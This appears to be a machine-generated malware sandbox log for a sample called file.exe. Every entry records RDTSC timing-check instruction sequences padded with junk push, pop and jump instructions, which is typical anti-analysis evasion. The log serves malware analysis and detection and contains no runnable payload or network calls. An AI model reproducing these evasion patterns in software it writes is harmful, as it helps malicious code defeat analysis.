Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CB9B second address: 102CBE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C904h 0x00000009 jnc 00007F8264D3C8F6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F8264D3C8FCh 0x00000018 jmp 00007F8264D3C8FDh 0x0000001d jmp 00007F8264D3C900h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D4A7 second address: 102D4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D4AB second address: 102D4AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BD0E second address: 102BD14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BD14 second address: 102BD27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10340FF second address: 1034113 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034269 second address: 1034283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C905h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034283 second address: 1034289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036C6F second address: 1036C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8264D3C8F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10367E0 second address: 1036808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F8264EBD7B6h 0x0000000b popad 0x0000000c pushad 0x0000000d jg 00007F8264EBD7A6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103696A second address: 103697C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8264D3C8F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F8264D3C8FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BA37 second address: 103BA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BA3F second address: 103BA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BA46 second address: 103BA70 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8264EBD7C5h 0x00000008 jmp 00007F8264EBD7B5h 0x0000000d jmp 00007F8264EBD7AAh 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AD74 second address: 103ADAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8264D3C909h 0x0000000c jmp 00007F8264D3C906h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103ADAA second address: 103ADBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F8264EBD7A6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AF64 second address: 103AF9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C905h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jno 00007F8264D3C8F6h 0x00000014 jmp 00007F8264D3C902h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AF9B second address: 103AFB3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8264EBD7AEh 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F8264EBD7A6h 0x00000010 je 00007F8264EBD7ACh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B0E5 second address: 103B0EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B378 second address: 103B37C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B37C second address: 103B38D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jo 00007F8264D3C91Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B38D second address: 103B391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B677 second address: 103B67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B67D second address: 103B681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E26F second address: 103E273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E273 second address: 103E289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8264EBD7A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jl 00007F8264EBD7A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E440 second address: 103E44D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E44D second address: 103E460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8264EBD7AAh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E460 second address: 103E464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043C5F second address: 1043C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10441DA second address: 10441EC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F8264D3C8F6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044492 second address: 104449F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F8264EBD7A6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044618 second address: 104461C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104461C second address: 104463A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7ACh 0x00000007 je 00007F8264EBD7A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F8264EBD7A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104463A second address: 1044642 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044642 second address: 104465F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8264EBD7B7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104465F second address: 104466A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B14A second address: 104B14E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B14E second address: 104B179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8264D3C8FAh 0x00000010 jmp 00007F8264D3C906h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B179 second address: 104B199 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7AAh 0x00000007 pushad 0x00000008 jmp 00007F8264EBD7B1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B490 second address: 104B4AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8264D3C909h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B4AF second address: 104B4B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BF7C second address: 104BF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BF80 second address: 104BFA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7AAh 0x00000007 jmp 00007F8264EBD7B3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BFA4 second address: 104BFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104C4F2 second address: 104C4F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105237F second address: 1052384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052384 second address: 105238A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056C23 second address: 1056C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8264D3C8F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056C2F second address: 1056C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056DDC second address: 1056E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C901h 0x00000009 jmp 00007F8264D3C902h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056F62 second address: 1056F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056F68 second address: 1056F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056F71 second address: 1056F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10570C5 second address: 10570FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F8264D3C900h 0x0000000c jmp 00007F8264D3C907h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10570FA second address: 1057100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057374 second address: 105737E instructions: 0x00000000 rdtsc 0x00000002 je 00007F8264D3C8F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060DFE second address: 1060E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060E04 second address: 1060E0E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060E0E second address: 1060E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10611B4 second address: 10611BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8264D3C8F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10611BF second address: 10611E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F8264EBD7AAh 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ja 00007F8264EBD7C0h 0x00000013 pushad 0x00000014 jl 00007F8264EBD7A6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10611E0 second address: 10611EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8264D3C8F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061331 second address: 106133A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106133A second address: 1061340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061340 second address: 1061344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061658 second address: 106165D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106598A second address: 1065992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065992 second address: 10659C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C909h 0x00000009 jmp 00007F8264D3C908h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069AF1 second address: 1069B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jmp 00007F8264EBD7B0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069B0F second address: 1069B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069B15 second address: 1069B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069663 second address: 1069673 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069673 second address: 1069691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8264EBD7B9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069691 second address: 10696BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F8264D3C901h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jmp 00007F8264D3C8FFh 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106982D second address: 1069831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B02F second address: 107B060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C901h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F8264D3C911h 0x0000000f jmp 00007F8264D3C8FFh 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107AB96 second address: 107ABC7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007F8264EBD7A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F8264EBD7AAh 0x00000012 jmp 00007F8264EBD7B7h 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107AD13 second address: 107AD4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F8264D3C907h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F8264D3C908h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107AD4D second address: 107AD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264EBD7ABh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F8264EBD7B7h 0x00000012 jmp 00007F8264EBD7B0h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107AD8B second address: 107AD8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096D6B second address: 1096D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096D71 second address: 1096D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096D77 second address: 1096DC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 jmp 00007F8264EBD7B2h 0x00000017 push eax 0x00000018 push edx 0x00000019 js 00007F8264EBD7A6h 0x0000001f jmp 00007F8264EBD7ACh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095A42 second address: 1095A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095A46 second address: 1095A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095A4C second address: 1095A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F8264D3C8F8h 0x0000000f pushad 0x00000010 jnl 00007F8264D3C8F6h 0x00000016 jg 00007F8264D3C8F6h 0x0000001c jmp 00007F8264D3C8FDh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095A78 second address: 1095A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8264EBD7A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095A84 second address: 1095A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095A88 second address: 1095A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095A8C second address: 1095AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C8FFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jne 00007F8264D3C8F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095F4A second address: 1095F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095F50 second address: 1095F54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095F54 second address: 1095F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095F5A second address: 1095F82 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8264D3C8FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8264D3C906h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096A42 second address: 1096A47 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099559 second address: 1099563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8264D3C8F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10996D8 second address: 10996DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9F99 second address: 10A9FA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F8264D3C8F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9DF0 second address: 10A9DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
